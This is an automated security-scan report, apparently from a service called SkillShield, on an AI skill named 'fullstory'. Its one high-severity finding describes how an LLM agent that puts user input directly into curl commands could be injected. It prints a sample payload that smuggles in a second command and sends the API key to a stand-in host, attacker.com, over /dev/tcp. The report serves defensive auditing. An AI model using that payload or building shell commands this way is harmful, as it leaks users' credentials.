Trust Assessment
fullstory received a trust score of 86/100, placing it in the Mostly Trusted category. This skill has passed most security checks with only minor considerations noted.
SkillShield's automated analysis identified 1 finding: 0 critical, 1 high, 0 medium, and 0 low severity. Key findings include Potential Command Injection via unsanitized user input in `curl` commands.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings1
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| HIGH | Potential Command Injection via unsanitized user input in `curl` commands The skill documentation provides `curl` command examples that use the `FULLSTORY_API_KEY` environment variable. If an LLM generates and executes these commands by directly interpolating user-provided input (e.g., `sessionId`, `filter` parameters, `uid`, `properties`) into the shell command string without proper sanitization or escaping, it creates a command injection vulnerability. An attacker could craft malicious input (e.g., `123"; echo $FULLSTORY_API_KEY > /dev/tcp/attacker.com/80 #`) to execute arbitrary shell commands, potentially leading to the exfiltration of the `FULLSTORY_API_KEY` or other sensitive environment variables. When constructing shell commands from user input, always sanitize and escape input to prevent command injection. Prefer using secure API clients or libraries that handle parameterization securely instead of direct shell command execution. If shell execution is unavoidable, use `subprocess.run` with `shell=False` and pass arguments as a list, or rigorously escape all user-controlled parts of the command string. Ensure that the LLM's code generation process explicitly includes robust input validation and sanitization for all user-provided parameters used in shell commands. | LLM | SKILL.md:19 |
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